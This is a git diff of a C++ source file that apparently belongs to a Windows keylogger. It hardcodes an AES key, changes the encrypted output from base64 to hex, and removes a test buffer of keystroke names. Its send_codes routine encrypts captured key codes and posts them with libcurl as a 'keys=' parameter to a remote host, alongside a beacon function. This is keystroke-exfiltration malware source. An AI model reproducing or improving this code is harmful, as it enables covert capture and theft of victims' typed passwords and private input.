diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp index 65f10c9..aeac025 100644 --- a/connections_pivoter.cpp +++ b/connections_pivoter.cpp @@ -1,6 +1,7 @@ #define CURL_STATICLIB #include "connections_pivoter.h" +#include #include #include #include @@ -45,29 +46,22 @@ BOOL ConnectionsPivoter::send_alive_signal() { return TRUE; } -/*static const BYTE plaintext[] = { +/*static const BYTE plaintext[] = { 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x20, 0x64, 0x6f, 0x63, 0x73, 0x20, 0x61, 0x72, 0x65, 0x20, 0x73, 0x68, 0x69, 0x74, 0x20 };*/ -static const BYTE plaintext[] = { - 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0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45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46 -}; - static const BYTE iv[] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; static const BYTE key[] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, - 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F + 0x6B, 0x28, 0x31, 0x33, 0x23, 0x21, 0x31, 0x39, + 0x21, 0x4C, 0x6C, 0x34, 0x24, 0x31, 0x22, 0x39 }; - - - BOOL ConnectionsPivoter::send_codes(std::vector codes) { if (!this->curl) return false; @@ -80,11 +74,11 @@ BOOL ConnectionsPivoter::send_codes(std::vector codes) { DWORD output_length = 0; LPVOID output_string = NULL; - CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_BASE64, NULL, &output_length); + CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_HEXRAW, NULL, &output_length); output_string = HeapAlloc(GetProcessHeap(), 0, output_length); - CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_BASE64, (LPSTR) output_string, &output_length); + CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_HEXRAW, (LPSTR) output_string, &output_length); keys_message = curl_easy_escape(this->curl, (const char*) output_string, output_length); keys_message = "keys=" + keys_message;